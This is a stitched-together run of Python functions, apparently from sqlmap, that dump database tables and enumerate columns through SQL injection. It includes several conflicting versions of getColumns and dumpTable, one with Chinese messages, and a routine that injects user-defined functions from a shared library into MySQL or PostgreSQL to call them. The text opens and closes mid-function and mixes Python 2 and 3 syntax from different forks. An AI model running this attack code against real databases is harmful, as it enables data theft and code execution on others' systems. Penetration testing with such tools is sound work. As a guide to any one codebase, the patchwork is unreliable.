Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, tbl) else: query = rootQuery.blind.count % (conf.db, tbl) query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming( conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI): if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.INFORMIX): table = "%s:%s" % (conf.db, tbl) if Backend.isDbms( DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) try: indexRange = getLimitRange(count, plusOne=True) for index in indexRange: for column in colList: query = rootQuery.blind.query3 % ( column, column, table, index) query = agent.whereQuery(query) value = inject.getValue( query, union=False, error=False, dump=True) or "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, count, blind=True) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms( ) in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len( indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: debugMsg = "checking for empty columns" logger.debug(infoMsg) for column in colList: if not inject.checkBooleanExpression( "(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)): emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % ( column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, ): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.getIdentifiedDbms() in ( DBMS.MIMERSQL, ): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in ( DBMS.SQLITE, DBMS.EXTREMEDB): query = rootQuery.blind.query % ( agent.preprocessField( tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % ( index, agent.preprocessField(tbl, column), tbl) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % ( index, agent.preprocessField( tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) elif Backend.isDbms(DBMS.FRONTBASE): query = rootQuery.blind.query % ( index, agent.preprocessField( tbl, column), conf.db, tbl) else: query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), conf.db, tbl, index) query = agent.whereQuery(query) value = NULL if column in emptyColumns else inject.getValue( query, union=False, error=False, dump=True) value = '' if value is None else value lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = { "length": length, "values": columnEntries } entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'%s" % ( unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = { "count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db) } try: attackDumpedTable() except (IOError, OSError) as ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % getSafeExString(ex) logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException as ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % getSafeExString(ex) logger.critical(errMsg) finally: kb.dumpColumns = None kb.dumpTable = None
def udfInjectCustom(self): if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): errMsg = "UDF injection feature only works on MySQL and PostgreSQL" logger.error(errMsg) return if not isStackingAvailable() and not conf.direct: errMsg = "UDF injection feature requires stacked queries SQL injection" logger.error(errMsg) return self.checkDbmsOs() if not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" logger.warn(warnMsg) if not conf.shLib: msg = "what is the local path of the shared library? " while True: self.udfLocalFile = readInput(msg) if self.udfLocalFile: break else: logger.warn("you need to specify the local path of the shared library") else: self.udfLocalFile = conf.shLib if not os.path.exists(self.udfLocalFile): errMsg = "the specified shared library file does not exist" raise SqlmapFilePathException(errMsg) if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"): errMsg = "shared library file must end with '.dll' or '.so'" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS): errMsg = "you provided a shared object as shared library, but " errMsg += "the database underlying operating system is Windows" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX): errMsg = "you provided a dynamic-link library as shared library, " errMsg += "but the database underlying operating system is Linux" raise SqlmapMissingMandatoryOptionException(errMsg) self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] msg = "how many user-defined functions do you want to create " msg += "from the shared library? " while True: udfCount = readInput(msg, default='1') if udfCount.isdigit(): udfCount = int(udfCount) if udfCount <= 0: logger.info("nothing to inject then") return else: break else: logger.warn("invalid value, only digits are allowed") for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) udfName = readInput(msg) if udfName: self.udfs[udfName] = {} break else: logger.warn("you need to specify the name of the UDF") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" elif Backend.isDbms(DBMS.PGSQL): defaultType = "text" self.udfs[udfName]["input"] = [] msg = "how many input parameters takes UDF " msg += "'%s'? (default: 1) " % udfName while True: parCount = readInput(msg, default='1') if parCount.isdigit() and int(parCount) >= 0: parCount = int(parCount) break else: logger.warn("invalid value, only digits >= 0 are allowed") for y in xrange(0, parCount): msg = "what is the data-type of input parameter " msg += "number %d? (default: %s) " % ((y + 1), defaultType) while True: parType = readInput(msg, default=defaultType).strip() if parType.isdigit(): logger.warn("you need to specify the data-type of the parameter") else: self.udfs[udfName]["input"].append(parType) break msg = "what is the data-type of the return " msg += "value? (default: %s) " % defaultType while True: retType = readInput(msg, default=defaultType) if hasattr(retType, "isdigit") and retType.isdigit(): logger.warn("you need to specify the data-type of the return value") else: self.udfs[udfName]["return"] = retType break success = self.udfInjectCore(self.udfs) if success is False: self.cleanup(udfDict=self.udfs) return False msg = "do you want to call your injected user-defined " msg += "functions now? [Y/n/q] " choice = readInput(msg, default='Y').upper() if choice == 'N': self.cleanup(udfDict=self.udfs) return elif choice == 'Q': self.cleanup(udfDict=self.udfs) raise SqlmapUserQuitException while True: udfList = [] msg = "which UDF do you want to call?" for udf in self.udfs.keys(): udfList.append(udf) msg += "\n[%d] %s" % (len(udfList), udf) msg += "\n[q] Quit" while True: choice = readInput(msg).upper() if choice == 'Q': break elif hasattr(choice, "isdigit") and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): break else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) logger.warn(warnMsg) if not isinstance(choice, int): break cmd = "" count = 1 udfToCall = udfList[choice - 1] for inp in self.udfs[udfToCall]["input"]: msg = "what is the value of the parameter number " msg += "%d (data-type: %s)? " % (count, inp) while True: parValue = readInput(msg) if parValue: if "int" not in inp and "bool" not in inp: parValue = "'%s'" % parValue cmd += "%s," % parValue break else: logger.warn("you need to specify the value of the parameter") count += 1 cmd = cmd[:-1] msg = "do you want to retrieve the return value of the " msg += "UDF? [Y/n] " if readInput(msg, default='Y', boolean=True): output = self.udfEvalCmd(cmd, udfName=udfToCall) if output: conf.dumper.string("return value", output) else: dataToStdout("No return value\n") else: self.udfExecCmd(cmd, udfName=udfToCall, silent=True) msg = "do you want to call this or another injected UDF? [Y/n] " if not readInput(msg, default='Y', boolean=True): break self.cleanup(udfDict=self.udfs)
def getColumns(self, onlyColNames=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(",") else: colList = [] if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl) rootQuery = queries[Backend.getIdentifiedDbms()].columns if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if colList: table = {} table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) for blind in blinds: randStr = randomStr() query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.usertype' % randStr], blind=blind) if retVal: table = {} columns = {} for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])): columns[name] = SYBASE_TYPES.get(type_, type_) table[safeSQLIdentificatorNaming(tbl)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table break return kb.data.cachedColumns
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(',') else: colList = [] if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = { safeSQLIdentificatorNaming(tbl, True): columns } return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[DBMS.SYBASE].columns if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl, True)] = dict( (_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) for blind in blinds: query = rootQuery.inband.query % ( conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) retVal = pivotDumpTable( "(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.usertype' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: table = {} columns = {} for name, type_ in filterPairValues( zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])): columns[name] = SYBASE_TYPES.get( int(type_) if isinstance(type_, basestring) and type_.isdigit() else type_, type_) table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table break return kb.data.cachedColumns
def getColumns(self, onlyColNames=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) rootQuery = queries[Backend.getIdentifiedDbms()].columns for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) randStr = randomStr() query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr], blind=True) if retVal: table = {} columns = {} for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]): columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length) table[tbl] = columns kb.data.cachedColumns[conf.db] = table return kb.data.cachedColumns
def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True) else: kb.data.cachedColumns = foundData try: kb.dumpTable = "%s.%s" % (conf.db, tbl) if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ or safeSQLIdentificatorNaming(tbl, True) not in \ kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \ or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(filter(None, columns.keys())) if conf.excludeCol: colList = [ _ for _ in colList if _ not in conf.excludeCol.split(',') ] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming( tbl) warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) warnMsg += " (no usable column names)" logger.warn(warnMsg) continue colNames = colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming( tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) entriesCount = 0 if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % ( colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION]. where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) retVal = pivotDumpTable(table, colList, blind=False) if retVal: entries, _ = retVal entries = zip( *[entries[colName] for colName in colList]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % ( colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) query = whereQuery(query) if not entries and query: entries = inject.getValue(query, blind=False, time=False, dump=True) if not isNoneValue(entries): if isinstance(entries, basestring): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = { "length": len(column), "values": BigArray() } for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, basestring): colEntry = entry else: colEntry = unArrayizeValue( entry[index] ) if index < len(entry) else u'' _ = len( DUMP_REPLACEMENTS.get( getUnicode(colEntry), getUnicode(colEntry))) maxLen = max(len(column), _) if maxLen > kb.data.dumpedTable[column][ "length"]: kb.data.dumpedTable[column][ "length"] = maxLen kb.data.dumpedTable[column]["values"].append( colEntry) if not kb.data.dumpedTable and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colNames infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % ( tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl else: query = rootQuery.blind.count % (conf.db, tbl) query = whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming( conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) retVal = pivotDumpTable(table, colList, count, blind=True) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, dump=True, plusOne=plusOne) if len(colList) < len( indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: for column in colList: if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0': emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % ( column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % ( agent.preprocessField( tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % ( index, agent.preprocessField(tbl, column), tbl) query = whereQuery(query) value = NULL if column in emptyColumns else inject.getValue( query, union=False, error=False, dump=True) value = '' if value is None else value _ = DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)) lengths[column] = max( lengths[column], len(_)) entries[column].append(value) except KeyboardInterrupt: clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = { "length": length, "values": columnEntries } entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'%s" % ( unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = { "count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db) } try: attackDumpedTable() except (IOError, OSError), ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % ex logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException, ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % ex logger.critical(errMsg) finally:
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = u"缺少数据库参数,sqlmap将使用当前数据库枚举表中的字段" logger.warn(warnMsg) conf.db = self.getCurrentDb() if not conf.db: errMsg = u"无法检索当前数据库名称" raise SqlmapNoneDataException(errMsg) elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = u"枚举表列时只允许一个数据库名称" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.col = conf.col.upper() colList = conf.col.split(',') else: colList = [] if conf.excludeCol: colList = [ _ for _ in colList if _ not in conf.excludeCol.split(',') ] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList = filter(None, colList) if conf.tbl: if 